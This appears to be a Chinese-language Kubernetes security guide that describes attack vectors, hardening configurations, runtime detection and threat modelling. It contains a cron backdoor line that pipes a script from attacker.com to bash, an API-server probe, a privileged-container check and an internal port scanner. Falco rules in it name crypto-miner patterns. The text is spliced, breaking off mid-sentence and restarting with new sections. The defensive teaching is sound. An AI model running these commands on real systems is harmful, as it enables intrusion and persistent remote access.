永續性儲存區可能包含敏感資料,需要適當的安全控制:
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: encrypted-pvc
annotations:
encryption
Kubernetes安全防禦:從威脅角度看容器化環境
在容器協調的海洋中,Kubernetes已成為無可爭議的旗艦技術,但這艘巨輪的安全性卻常被低估。當企業快速採用Kubernetes時,安全考量往往被功能性需求所掩蓋。本文將從威脅視角出發,探討如何有效保護Kubernetes環境,並建立堅實的防禦策略。
攻防視角:理解威脅者的思維
在安全領域中,理解攻擊者的思維是建立有效防禦的基礎。對於Kubernetes而言,這意味著我們需要透過潛在入侵者的視角來審視我們的叢集。攻擊者不會只看到一個Pod或一個服務,而是會尋找整個系統中的弱點鏈,從一個小缺口開始,逐步擴大攻擊範圍。
從技術角度看,Kubernetes的安全挑戰主要源自其複雜的分散式架構和預設設定。雖然Kubernetes提供了豐富的安全功能,但大多數並非預設啟用,這就產生了所謂的「預設不安全」狀態。
Kubernetes安全的歷史演進
值得注意的是,Kubernetes的安全性已經有了長足的進步。最初版本的Kubernetes在安全性方面相對簡單,但隨著版本迭代,安全功能不斷豐富:
- 早期版本缺乏網路策略和Pod安全策略等關鍵防護機制
- 中期版本引入了RBAC(根據角色的存取控制)作為預設的授權模式
- 近期版本強化了執行時安全和供應鏈安全
然而,即使在最新版本中,許多安全控制仍需手動設定和啟用,這要求管理員具備深入的安全知識。
典型威脅場景模擬
想像一下:你剛成為一家名為「船舶、起重機與列車物流公司」(BCTL)的新創企業的資安長。該公司剛完成Kubernetes遷移,而你收到情報,指出有名為「Hashjack船長」的駭客團隊正計劃入侵你們的Kubernetes叢集。
如果他們獲得存取權,可能會佈署加密貨幣挖礦程式,或者對寶貴資料進行勒索加密。你的任務是在他們得手前,識別並修補系統中的弱點。
初始環境評估
假設BCTL的叢集是使用kubeadm在公有雲上建立的標準Kubernetes安裝,所有設定都採用預設值。這意味著:
- 沒有網路政策限制Pod間通訊
- 未啟用Pod安全政策或Pod安全標準
- RBAC可能設定過於寬鬆
- 容器可能以root許可權執行
- 缺乏適當的資源限制
這些預設設定為攻擊者提供了多個潛在入口點。
深入Kubernetes安全的核心概念
要有效保護Kubernetes環境,我們需要理解其核心安全概念和常見的攻擊向量。
Kubernetes安全的多層防禦
Kubernetes安全不是單一技術或工具,而是一系列防禦層的組合:
- 基礎設施安全 - 確保底層主機、網路和儲存的安全
- 叢集安全 - 保護Kubernetes API伺服器、etcd等核心元件
- 容器安全 - 確保容器映像不含漏洞,限制容器許可權
- 應用程式安全 - 保護在Kubernetes上執行的應用程式
每一層都有其特定的安全控制和最佳實踐,缺一不可。
常見攻擊向量分析
在分析過數十起Kubernetes安全事件後,我發現攻擊者通常會利用以下幾種常見路徑:
1. 透過暴露的API伺服器入侵
Kubernetes API伺服器是整個叢集的控制中心,若未妥善保護,攻擊者可直接存取並控制叢集。
# 攻擊者可能會嘗試的簡單探測命令
curl -k https://exposed-kubernetes-api:6443/version
這條命令嘗試連線到可能暴露在公網的Kubernetes API伺服器,並取得版本訊息。-k
引數表示跳過SSL證書驗證,這在攻擊者不知道或不關心目標叢集SSL設定的情況下很常用。若能成功取得版本訊息,攻擊者就確認了API伺服器的存在,並可能進一步嘗試未授權存取或利用特定版本的已知漏洞。
2. 容器逃逸攻擊
容器逃逸是指攻擊者從容器環境中「逃出」,取得宿主機存取權的過程。
# 檢測容器是否以特權模式執行的命令
if [ -w /proc/sys/kernel/core_pattern ]; then
echo "Container running in privileged mode - potential escape vector"
fi
這個指令碼檢查容器是否能寫入宿主機的/proc/sys/kernel/core_pattern
檔案,這通常只有在容器以特權模式執行時才可能。特權容器本質上可以存取所有宿主機裝置,這為容器逃逸提供了便利條件。攻擊者可以利用這個簡單測試來識別高風險目標,進而計劃後續的逃逸攻擊。
3. 供應鏈攻擊
透過汙染容器映像或依賴項,攻擊者可以在佈署前就植入後門。
# 惡意映像可能包含的後門程式碼範例
(crontab -l 2>/dev/null; echo "* * * * * curl -s http://attacker.com/backdoor | bash") | crontab -
這段程式碼展示了攻擊者如何在容器映像中植入惡意cron任務。它首先讀取現有cron設定,然後增加一個每分鐘執行的任務,該任務從攻擊者控制的伺服器下載並執行指令碼。這種技術很隱蔽,因為它不會修改容器的主要應用程式,而是在後台悄執行。當這樣的映像被佈署到生產環境時,攻擊者就獲得了持續的遠端存取能力。
4. 橫向移動
一旦攻擊者取得了初始存取權,就會嘗試在叢集內橫向移動,擴大攻擊範圍。
# 簡化的服務發現和嘗試存取指令碼
import socket
import requests
from concurrent.futures import ThreadPoolExecutor
def scan_service(ip, port):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
result = sock.connect_ex((ip, port))
if result == 0:
try:
response = requests.get(f"http://{ip}:{port}", timeout=1)
return (ip, port, response.status_code)
except:
return (ip, port, "open")
return None
except:
return None
finally:
sock.close()
# 掃描Kubernetes預設服務網段
def scan_kubernetes_services():
results = []
with ThreadPoolExecutor(max_workers=100) as executor:
futures = []
for i in range(1, 255):
ip = f"10.96.0.{i}" # 預設服務CIDR
for port in [80, 443, 8080, 8443, 10250]:
futures.append(executor.submit(scan_service, ip, port))
for future in futures:
result = future.result()
if result:
results.append(result)
return results
print("Discovered services:", scan_kubernetes_services())
這個Python指令碼演示了攻擊者如何在獲得初始存取權後進行內部網路掃描。它針對Kubernetes預設服務網段(10.96.0.0/24)的每個IP位址掃描常見連線埠,尋找可能存在的服務。指令碼使用多執行緒提高效率,並嘗試對發現的開放連線埠傳送HTTP請求以取得更多訊息。這種技術能幫助攻擊者發現叢集內的其他服務,為後續的橫向移動提供目標。在真實攻擊中,攻擊者會根據發現的服務特性制定進一步的入侵計劃。
預設不安全:Kubernetes的安全挑戰
Kubernetes面臨的主要安全挑戰之一是其「預設不安全」的特性。這不是設計缺陷,而是架構選擇,但這確實為管理員帶來了挑戰。以下是一些關鍵問題:
- 網路策略缺失 - 預設情況下,所有Pod可以與任何其他Pod通訊
- 許可權過度 - 容器通常以root身份執行,擁有過多許可權
- 資源未隔離 - 未正確設定資源限制可能導致拒絕服務風險
- 缺乏稽核 - 預設未啟用詳細的稽核日誌
在我的實踐中,這些預設設定是許多安全事件的根源。例如,最近分析的一起事件中,攻擊者利用一個受損的前端Pod,在缺乏網路策略的環境中自由存取到了後端資料函式庫服務,最終導致資料外洩。
防禦策略:強化Kubernetes安全
瞭解了威脅後,讓我們專注於實用的防禦策略。
建立安全基線
第一步是為Kubernetes環境建立安全基線。這應包括:
1. API伺服器安全強化
API伺服器是Kubernetes的核心,必須優先保護:
# kube-apiserver安全設定範例
apiVersion: v1
kind: Pod
metadata:
name: kube-apiserver
namespace: kube-system
spec:
containers:
- name: kube-apiserver
command:
- kube-apiserver
- --anonymous-auth=false
- --authorization-mode=Node,RBAC
- --enable-admission-plugins=NodeRestriction,PodSecurityPolicy
- --audit-log-path=/var/log/kubernetes/audit.log
- --audit-log-maxage=30
- --audit-log-maxbackup=10
- --audit-log-maxsize=100
- --encryption-provider-config=/etc/kubernetes/encryption-config.yaml
- --tls-cert-file=/etc/kubernetes/ssl/apiserver.crt
- --tls-private-key-file=/etc/kubernetes/ssl/apiserver.key
# 其他設定選項...
這個YAML設定展示瞭如何強化Kubernetes API伺服器的安全性。關鍵設定包括:
--anonymous-auth=false
:禁止匿名存取,要求所有請求提供認證--authorization-mode=Node,RBAC
:啟用根據角色的存取控制,限制使用者許可權--enable-admission-plugins=NodeRestriction,PodSecurityPolicy
:啟用重要的准入控制器,特別是PodSecurityPolicy用於強制執行Pod安全標準- 啟用稽核日誌並設定保留策略,有助於事後分析和取證
- 設定TLS證書和加密提供者,保護API通訊和靜態資料安全
這些設定共同形成了一個更安全的API伺服器設定,大減少了攻擊面。在實際佈署中,這些設定通常透過kubeadm設定檔案或雲端服務提供商的管理介面設定。
2. 實施網路策略
限制Pod間通訊是防止橫向移動的關鍵:
# 預設拒絕所有入站流量的網路策略
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-ingress
namespace: production
spec:
podSelector: {}
policyTypes:
- Ingress
---
# 允許特定應用間通訊的網路策略
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-frontend-to-backend
namespace: production
spec:
podSelector:
matchLabels:
app: backend
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
這組網路策略展示了零信任網路設計的實作方式:
- 第一個策略(
default-deny-ingress
)是一個基礎安全控制,它在production名稱空間中預設阻止所有入站流量。空的podSelector:{}
表示策略適用於該名稱空間中的所有Pod。 - 第二個策略(
allow-frontend-to-backend
)提供了精確的例外規則,只允許帶有app: frontend
標籤的Pod透過TCP 8080連線埠存取帶有app: backend
標籤的Pod。
這種方法遵循"預設拒絕,明確允許"的安全原則,確保只有經過授權的通訊才能進行。在實際佈署中,會根據應用程式的通訊需求建立多個類別似的策略,形成一個完整的微分段網路。這大減少了攻擊者在取得初始存取權後的橫向移動能力。
3. 設定Pod安全標準
限制Pod許可權是防止容器逃逸的重要手段:
# 在名稱空間級別實施Pod安全標準
apiVersion: v1
kind: Namespace
metadata:
name: restricted-workloads
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/audit: restricted
pod-security.kubernetes.io/warn: restricted
---
# 符合受限制安全標準的Pod範例
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
namespace: restricted-workloads
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: myapp:1.0.0
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
readOnlyRootFilesystem: true
resources:
limits:
cpu: "500m"
memory: "512Mi"
requests:
cpu: "100m"
memory: "128Mi"
這個設定展示瞭如何使用Kubernetes的Pod安全標準(PSS)來強制執行安全最佳實踐:
首先,在名稱空間級別應用"restricted"安全標準,這是最嚴格的預定義設定檔案。透過標籤設定了三種模式:
enforce
: 違反策略的Pod將被拒絕建立audit
: 違規行為將被記錄在稽核日誌中warn
: 使用者將收到警告但Pod仍可建立
然後展示了一個符合"restricted"標準的Pod定義,包含多層安全控制:
- 容器以非root使用者(UID 1000)執行
- 設定了適當的組ID和檔案系統組ID
- 啟用了seccomp設定檔案限制系統呼叫
- 禁止許可權提升(
allowPrivilegeEscalation: false
) - 移除所有Linux capabilities
- 根檔案系統設為只讀
- 設定了資源限制,防止資源耗盡攻擊
這種設定大降低了容器被攻擊者利用的可能性,即使應用程式存在漏洞,攻擊者也難以獲得高許可權或逃逸到宿主機。在現代Kubernetes環境中,這已成為生產工作負載的推薦設定。
4. 實施最小許可權RBAC
嚴格的RBAC設定可防止未授權存取:
# 針對特定應用的受限服務帳號和角色
apiVersion: v1
kind: ServiceAccount
metadata:
name: frontend-sa
namespace: production
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: frontend-role
namespace: production
spec:
rules:
- apiGroups: [""]
resources: ["configmaps"]
resourceNames: ["frontend-config"]
verbs: ["get"]
- apiGroups: [""]
resources: ["secrets"]
resourceNames: ["frontend-tls"]
verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: frontend-rolebinding
namespace: production
spec:
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: frontend-role
subjects:
- kind: ServiceAccount
name: frontend-sa
namespace: production
這組YAML設定展示了Kubernetes中最小許可權原則的實作:
首先建立一個名為
frontend-sa
的服務帳號,專門用於前端應用程式。然後定義了一個精確的角色(
frontend-role
),只授予兩種非常具體的許可權:- 只能讀取(
get
)名為frontend-config
的ConfigMap - 只能讀取(
get
)名為frontend-tls
的Secret
- 只能讀取(
最後透過RoleBinding將這個受限角色繫結到服務帳號。
這種精確的許可權控制確保即使前端應用被攻擊者入侵,他們也只能存取這兩個特定資源,無法讀取其他ConfigMaps、Secrets或執行其他Kubernetes API操作。這與常見的錯誤設定形成鮮明對比 - 許多環境中服務帳號被賦予過度的許可權(如整個名稱空間的讀取許可權甚至更多),使攻擊者容易進行許可權提升和橫向移動。在實際佈署中,應為每個元件建立類別似的最小許可權設定。
持續安全監控與回應
保護Kubernetes不僅需要預防措施,還需要持續監控以迅速發現和應對威脅。
1. 佈署Kubernetes稽核日誌
稽核日誌對於事後分析和取證至關重要:
# 稽核策略設定範例
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
- level: Metadata
resources:
- group: ""
resources: ["secrets", "configmaps"]
- level: RequestResponse
resources:
- group: ""
resources: ["pods"]
verbs: ["create", "update", "patch", "delete"]
- level: Request
resources:
- group: "rbac.authorization.k8s.io"
resources: ["roles", "clusterroles", "rolebindings", "clusterrolebindings"]
verbs: ["create", "update", "patch", "delete"]
- level: None
users: ["system:kube-proxy"]
resources:
- group: ""
resources: ["endpoints", "services"]
verbs: ["watch"]
這個稽核策略設定展示瞭如何實作分層稽核日誌記錄,平衡安全可見性與效能:
對於敏感資源(secrets和configmaps),設定為
Metadata
級別,記錄請求的中繼資料但不包含完整內容,避免敏感資料洩露同時保留稽核軌跡。對於Pod操作(建立、更新、刪除),設定為
RequestResponse
級別,記錄完整的請求和回應內容,這對安全事件調查極為重要。對於RBAC變更,設定為
Request
級別,記錄完整請求但不包含回應,捕捉所有許可權變更。對於系統元件(如kube-proxy)的常規監控操作,設定為
None
級別,完全不記錄,減少噪音和儲存需求。
這種分層策略確保了關鍵安全事件被詳細記錄,同時避免了稽核日誌爆炸性增長。在實際佈署中,這些日誌通常會被傳送到集中式日誌管理系統(如Elasticsearch)進行分析和告警。
2. 實施執行時安全監控
執行時監控可以檢測容器中的異常行為:
# 使用Falco進行執行時安全監控
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: falco
namespace: security
labels:
app: falco
spec:
selector:
matchLabels:
app: falco
template:
metadata:
labels:
app: falco
spec:
serviceAccountName: falco
containers:
- name: falco
image: falcosecurity/falco:latest
securityContext:
privileged: true
volumeMounts:
- mountPath: /host/var/run/docker.sock
name: docker-socket
- mountPath: /host/dev
name: dev-fs
- mountPath: /host/proc
name: proc-fs
readOnly: true
- mountPath: /host/boot
name: boot-fs
readOnly: true
- mountPath: /host/lib/modules
name: lib-modules
readOnly: true
- mountPath: /host/usr
name: usr-fs
readOnly: true
- mountPath: /etc/falco
name: falco-config
volumes:
- name: docker-socket
hostPath:
path: /var/run/docker.sock
- name: dev-fs
hostPath:
path: /dev
- name: proc-fs
hostPath:
path: /proc
- name: boot-fs
hostPath:
path: /boot
- name: lib-modules
hostPath:
path: /lib/modules
- name: usr-fs
hostPath:
path: /usr
- name: falco-config
configMap:
name: falco-config
---
apiVersion: v1
kind: ConfigMap
metadata:
name: falco-config
namespace: security
data:
falco.yaml: |
# Falco設定
program_output:
enabled: true
keep_alive: false
program: "curl -d @- -X POST http://alert-service:8080/events"
falco_rules.local.yaml: |
# 自定義Falco規則
- rule: Terminal shell in container
desc: A shell was used as the entrypoint/exec point into a container with an attached terminal
condition: >
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint
and not container.image.repository in (allowed_shell_containers)
output: >
A shell was spawned in a container with an attached terminal (user=%user.name
container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname
cmdline=%proc.cmdline terminal=%proc.tty container_image=%container.image.repository)
priority: NOTICE
tags: [container, shell, mitre_execution]
- rule: Crypto Miners
desc: Detect crypto-mining behaviors
condition: >
spawned_process and
((proc.name = "xmrig" or proc.name = "cryptominer") or
(proc.cmdline contains "monero" or proc.cmdline contains "xmr") or
(proc.cmdline contains "--donate-level"))
output: >
Possible crypto miner execution detected (user=%user.name command=%proc.cmdline
container_id=%container.id container_name=%container.name image=%container.image.repository)
priority: CRITICAL
tags: [container, crypto, mitre_execution]
這個設定展示瞭如何佈署Falco進行容器執行時安全監控:
使用DaemonSet確保Falco在叢集的每個節點上執行,能夠監控所有容器活動。
設定中包含必要的特權設定和主機路徑掛載,使Falco能夠存取系統呼叫和容器執行時訊息。
透過ConfigMap提供兩個關鍵設定:
falco.yaml
:基本設定將告警透過HTTP POST傳送到alert-servicefalco_rules.local.yaml
:自定義檢測規則,包括:- 檢測容器中的終端shell使用,這可能表示攻擊者已取得容器存取權
- 檢測加密貨幣挖礦行為,透過識別常見挖礦程式名稱和命令列引數
這種設定能夠實時檢測常見的容器攻擊行為,如容器逃逸嘗試、許可權提升、資料竊取和資源濫用。在實際佈署中,會設定更多規則覆寫廣泛的攻擊技術,並將告警整合到安全營運中心(SOC)工作流程中。
3. 實施供應鏈安全
保護容器從構建到佈署的整個生命週期:
# 使用OPA Gatekeeper強制實施映像安全策略
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sTrustedImages
metadata:
name: only-approved-registries
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
namespaces:
- "production"
- "staging"
parameters:
registries: ["registry.company.com", "gcr.io/company-project"]
---
# 使用ImagePolicyWebhook驗證映像安全掃描結果
apiVersion: v1
kind: ConfigMap
metadata:
name: image-policy-webhook-config
namespace: kube-system
data:
config.yaml: |
imagePolicy:
kubeConfigFile: /etc/kubernetes/admission-config.yaml
allowTTL: 50
denyTTL: 50
retryBackoff: 500
defaultAllow: false
這個設定展示了容器供應鏈安全的兩個關鍵控制:
- 使用OPA Gatekeeper實施可信映像函式庫策略:
- 建立一個名為
K8sTrustedImages
的約束,限制production和staging名稱空間中的Pod - 只允許使用來自指定內部
- 建立一個名為
Kubernetes 叢集安全防禦:從威脅識別到實戰強化
在現代雲原生環境中,Kubernetes 已成為容器協調的標準選擇,但其複雜的架構也帶來了獨特的安全挑戰。當玄貓參與各種企業的安全諮詢時,常發現許多團隊對於 Kubernetes 安全的認知存在明顯不足。本文將透過一個具體案例,帶領讀者瞭解如何識別威脅並實施有效的安全強化策略。
安全強化例項:從不安全架構到防禦縱深
讓我們以一個名為 BCTL 的 SRE (Site Reliability Engineering) 團隊管理的叢集為例。這個團隊負責 Kubernetes 主節點的安全,這意味著他們需要面對更大的潛在攻擊面。雖然管理式服務會將控制平面(主節點和 etcd)分開託管,其強化設定可以防止某些攻擊(如直接的 etcd 入侵),但兩種方法都依賴於叢集的安全設定來保護工作負載。
現有架構分析
這個叢集具有以下特徵:
- 節點執行在私有網路區段,公共(網際網路)流量無法直接存取
- 公共流量透過導向網際網路的負載平衡器代理到叢集
- 叢集上執行著 SQL 資料函式庫、前端、API 和批處理器
- 應用程式(公司客戶的預訂服務)佈署在單一名稱空間中,使用 GitOps 方式管理
- 未實施網路策略或 Pod 安全策略
- RBAC 設定由已離職的工程師設定,缺乏檔案和理解
- 安全支援服務雖然具有入侵檢測和強化功能,但團隊經常因「產生太多噪音」而停用
威脅建模:理解攻擊者與風險
要有效保護系統,首先需要理解潛在的攻擊方式。威脅模型提供了一個框架,幫助我們理解複雜系統並合理化安全和風險。在我參與的多個安全評估專案中,發現威脅建模是最被低估但最有價值的安全活動之一。
威脅建模基礎
威脅模型就像指紋,每一個都不同。它根據系統被入侵的影響:家用的 Raspberry Pi 叢集和銀行的叢集持有不同的資料,面對不同的潛在攻擊者,被入侵後的潛在問題也大不相同。
在開始威脅建模之前,需要確保基本的安全衛生措施已到位(如及時修補和測試)。如果系統可以被已發布的 CVE 和 Kali Linux 入侵,那麼威脅模型不會對你有太大幫助!
威脅行為者分類別
威脅行為者可分為隨機型和有動機型兩大類別:
隨機型攻擊者:
- 網路破壞者(網際網路時代的塗鴉者)
- 意外入侵者(通常尋找資料)
- 路過的「指令碼小子」,會執行任何聲稱能幫助他們駭入系統的程式碼
對於已修補與設定良好的系統,隨機攻擊者通常不構成威脅。
有動機的攻擊者:
- 內部人員(如可信員工)
- 在監管較弱國家運作的有組織犯罪集團
- 國家支援的行為者(可能與有組織犯罪重疊或直接支援)
這些威脅行為者才是我們需要重點關注的物件。
威脅行為者分類別詳解
在我的安全評估工作中,常使用以下威脅行為者分類別框架來幫助團隊理解潛在風險:
破壞者:指令碼小子、入侵者
- 動機:好奇心、個人名聲;從使高知名度公司的服務下線或入侵機密資料集中獲得名聲
- 能力:使用公開可用的工具和應用(Nmap、Metasploit、CVE PoC);攻擊掩蓋得很差;針對性低
有動機的個人:政治活動家、小偷、恐怖分子
- 動機:個人、政治或意識形態利益;透過竊取個人資料獲利;透過 DDOS 獲得個人榮譽;透過篡改公共服務傳播政治訊息
- 能力:以針對性方式結合公開可用的漏洞;修改開放原始碼供應鏈;很少關注掩蓋攻擊痕跡
內部人員:員工、外部承包商、臨時工作者
- 動機:不滿、利潤;竊取個人資料獲利;為勒索加密資料
- 能力:對系統有詳細瞭解,知道如何利用它,能隱藏行動
有組織犯罪:犯罪集團、與國家相關組織
- 動機:勒索、大規模竊取個人資料/憑證/支付卡資料;為經濟利益操縱交易;加密貨幣勒索
- 能力:能投入大量資源,聘請「作者」編寫所需工具和漏洞利用程式;能賄賂/脅迫個人;針對性程度不一;隱藏直到目標達成
雲端服務內部人員:員工、外部承包商、臨時工作者
- 動機:個人利益、好奇心
- 能力:取決於雲提供商內部的職責分離和技術控制
外國情報機構:民族國家
- 動機:情報收集、破壞關鍵國家基礎設施;竊取智慧財產權、存取敏感系統、大規模挖掘個人資料
- 能力:能夠滲透組織/供應商、呼叫研究計劃、開發多個零日漏洞;高度針對性;高水平的隱蔽性
威脅建模實戰:BCTL 案例
讓我們回到 BCTL 的案例。假設有一個名為「船長 Hashjack」的有動機犯罪對手,以勒索或搶劫為目的。這個「海盜船員」已經使用開放原始碼情報(OSINT)技術(如搜尋徵才訊息和當前員工的 LinkedIn 技能)進行偵察,識別了組織中使用的技術。他們知道你使用 Kubernetes,並且可以猜測你開始使用的版本。
建立威脅模型的步驟
要為 Kubernetes 叢集建立威脅模型,首先需要一個系統架構檢視。收集盡可能多的訊息以保持所有人對齊,但要保持平衡:不要用過多訊息淹沒人們。
在我主導的安全評估中,通常遵循以下步驟:
- 確定系統邊界:明確定義哪些元件屬於評估範圍
- 識別資產和資料流:瞭解系統中的重要資產和資料如何流動
- 列出潛在威脅:根據威脅行為者分類別,識別可能的攻擊向量
- 評估風險:分析每個威脅的風險級別和潛在影響
- 制定緩解策略:針對已識別的風險,提出具體的安全控制措施
Kubernetes 叢集安全強化策略
根據對 BCTL 案例的分析,以下是一些關鍵的 Kubernetes 安全強化策略:
1. 網路安全加固
當我設計 Kubernetes 網路安全架構時,通常會從這些方面入手:
- 實施網路策略:限制 Pod 間通訊,採用「最小許可權」原則
- 分段網路:將不同功能的工作負載放在不同的名稱空間,並限制跨名稱空間通訊
- 加密傳輸中的資料:使用 TLS 加密叢集內部通訊
- 實施入口控制:嚴格控制外部流量進入叢集的路徑和方式
2. 身份和存取管理
在一個大型金融科技專案中,我發現 RBAC 設定不當是最常見的安全漏洞之一。以下是改進方法:
- 審查和重構 RBAC 設定:遵循最小許可權原則,確保每個角色只具有完成任務所需的最小許可權
- 使用服務帳戶:為每個應用程式建立專用服務帳戶,避免使用預設服務帳戶
- 實施多因素認證:為管理存取啟用 MFA
- 定期審查存取許可權:建立定期審查流程,移除不再需要的許可權
3. 工作負載安全
工作負載安全是我經常發現被忽視的領域:
- 實施 Pod 安全策略:限制 Pod 的安全上下文和能力
- 使用非特權容器:確保容器以非 root 使用者執行
- 限制容器資源:設定資源限制,防止 DoS 攻擊
- 掃描容器映像:在佈署前掃描容器映像,查詢已知漏洞
- 實施執行時安全:使用工具監控和保護執行時環境
4. 持續監控和回應
安全不是一次性的工作,而是持續的過程:
- 啟用稽核日誌:收集和分析叢集活動日誌
- 實施入侵檢測:佈署工具檢測異常行為
- 建立安全基線:定義正常行為基線,以便識別異常
- 制定事件回應計劃:準備應對安全事件的程式和工具
- 定期進行安全評估:定期進行漏洞掃描和滲透測試
GitOps 安全考量
BCTL 案例中使用 GitOps 進行佈署,這帶來了特定的安全考量。GitOps 是應用程式的宣告式設定佈署:可以將其視為 Kubernetes 叢集的傳統組態管理。
在我的實踐中,發現 GitOps 安全需要特別關注以下幾點:
- Git 倉函式庫安全:確保 Git 倉函式庫本身的安全,包括存取控制和稽核
- 簽名提交:要求所有提交必須經過簽名
- 分支保護:實施分支保護規則,防止未經授權的更改
- 秘密管理:避免將敏感資訊儲存在 Git 倉函式庫中,使用專門的秘密管理工具
- 佈署管道安全:確保 CI/CD 管道的安全,防止供應鏈攻擊
Kubernetes 安全是一個多層次、持續演進的領域。透過建立完善的威脅模型,瞭解潛在攻擊者及其能力,並實施相應的安全控制,可以顯著提高叢集的安全性。
從我多年的安全評估經驗來看,最成功的 Kubernetes 安全策略通常結合了技術控制、流程改進和人員意識培訓。安全不僅是工具和設定的問題,更是一種思維方式和組織文化。
在雲原生環境中,安全必須是設計和營運的核心組成部分,而不是事後的附加物。透過採用本文討論的方法和策略,組織可以建立更強大、更有彈性的 Kubernetes 環境,有效抵禦各種威脅行為者的攻擊。
威脅建模:構建Kubernetes安全防線的根本
在容器化技術廣泛應用的今天,Kubernetes已成為管理容器化工作負載的標準平台。然而,隨著其普及,Kubernetes環境也成為攻擊者的熱門目標。要有效保護Kubernetes環境,威脅建模是不可或缺的第一步。
威脅建模本質上是一個系統性過程,透過它我們可以識別、評估和應對潛在的安全威脅。在Kubernetes環境中,這意味著我們需要全面審視系統架構,識別可能的攻擊路徑,並制定相應的防禦策略。
從系統圖開始:定義威脅範圍
進行威脅建模的第一步是繪製系統圖並定義威脅範圍。這個範圍可以是整個Kubernetes系統,也可以聚焦於特定區域,如某個Pod、節點或控制平面。
在定義範圍後,我需要放大關注區域,建立資料流圖並標識信任邊界。在思考信任邊界時,我常會設想攻擊者(比如假想的駭客"Captain Hashjack")可能如何嘗試攻擊各個元件。正如安全工作者Adam Shostack所言,“完整列出所有可能性比部分列出可行性更好”。
資料流圖:理解系統互動
資料流圖是威脅建模的核心工具,它展示了系統元件之間的資料流動和信任邊界。透過繪製Kubernetes的資料流圖,我們能夠視覺化系統中的潛在弱點。
在建立資料流圖時,我發現最有效的方法是邀請多方利益相關者參與,包括開發、維運、QA、產品、業務和安全團隊。這種多元思維可以確保我們不會遺漏任何潛在威脅。
一個實用的建議是:先不參考外部資源,讓團隊自由討論並產生有機想法,然後再引入外部資源來交叉檢驗團隊的思考。
威脅識別:進入攻擊者思維
一旦掌握了足夠的系統訊息,下一步就是集體腦力激盪。這一階段需要思考簡單性、狡猾性和巧妙性。任何可想像的攻擊都在範圍內,而攻擊可能性的判斷則是另一回事。
在實踐中,我發現將威脅捕捉在電子試算表、思維導圖或列表中非常有效。重要的是要對威脅進行分類別,確保能夠輕鬆審查捕捉的資料。完成第一輪後,考慮可能遺漏的內容,再進行快速的第二輪檢查。
攻擊樹:視覺化攻擊路徑
攻擊樹是一種強大的工具,用於視覺化潛在的入侵路徑。它像一張海盜寶藏地圖,顯示了攻擊者可能採取的路徑。
在攻擊樹中,攻擊者的目標位於樹的頂部,而可用的路徑從樹的根部(底部)開始。邏輯"OR"和"AND"節點的關鍵顯示了完成攻擊所需滿足的條件。
攻擊樹範例:控制平面攻擊
以下是一個攻擊樹範例,它模擬瞭如何攻擊Kubernetes控制平面:
這個攻擊樹專注於拒絕服務(DoS)攻擊,目的是阻止對系統的存取。攻擊者的目標位於圖的頂部,而可用的路徑從底部開始。左側的圖例顯示了完成攻擊所需的邏輯"OR"和"AND"節點。
攻擊樹圖例解釋
在解讀攻擊樹時,理解以下基本元素至關重要:
- 目標(Goal) - 攻擊者的目標,也是我們試圖防止的結果
- 邏輯AND - 所有子節點都必須完成才能透過此門
- 邏輯OR - 任何一個子節點完成即可透過此門
攻擊樹範例:容器被入侵
下面是另一個攻擊樹範例,展示了從遠端式碼執行到容器被完全入侵的路徑:
這個攻擊樹從攻擊者在容器中執行遠端式碼開始,然後展示了可能的攻擊進展路徑。
參考現有威脅模型資源
在團隊生成威脅列表後,我通常會將它們與一些常用的威脅建模技術和攻擊資料交叉參照:
- STRIDE框架 - 用於列舉可能的威脅
- Microsoft Kubernetes威脅矩陣
- MITRE ATT&CK®容器矩陣
- OWASP Docker Top 10
這也是引入預先存在的通用威脅模型的好時機,例如:
- Trail of Bits和Atredis Partners的Kubernetes威脅模型 - 為Kubernetes安全稽核工作組(現為SIG-security)開發,檢查Kubernetes程式碼函式庫及如何攻擊協調器
- ControlPlane的Kubernetes威脅模型和攻擊樹 - 為CNCF金融服務使用者組開發,考慮使用者的使用和強化Kubernetes設定
- NCC的威脅模型和控制 - 關注系統設定
威脅建模的持續性
重要的是要記住,威脅模型永遠不會完全完成。它是利益相關者在特定時間點的最佳努力,應該定期修訂和更新,因為架構、軟體和外部威脅將不斷變化。
正如安全工作者Moxie Marlinspike所說:“軟體永遠不會完成。你不能停止對它的工作。它是一個不斷移動的生態系統的一部分。”
Pod級資源安全
在理解了威脅建模的基礎之後,讓我們深入Kubernetes最基本的佈署單元:Pod。Pod執行應用程式,一個應用程式可能是一個或多個容器在一個或多個Pod中協同工作。
Pod安全的預設設定
歷史上,Kubernetes在預設情況下並未進行安全強化,這有時可能導致許可權提升或容器逃逸。讓我們放大單個Pod與主機之間的關係,可以看到kubelet為容器提供的服務以及可能阻止攻擊者的潛在安全邊界。
預設情況下,許多設定都合理地應用了最小許可權原則,但在使用者提供設定更常見的地方(Pod YAML、叢集策略、容器映像),存在更多意外或惡意設定錯誤的機會。
大多數預設設定是合理的,但在本文中,我將指出不合理的地方,並展示如何測試叢集和工作負載是否安全設定。
Pod威脅模型的構建
在Pod級別構建威脅模型時,我們需要考慮以下幾個關鍵問題:
- 容器內的應用程式可能存在哪些漏洞?
- 容器與主機之間的界限有多牢固?
- Pod間通訊的安全性如何保障?
- 敏感資料如何在Pod中處理和保護?
威脅建模與攻擊樹的實際應用
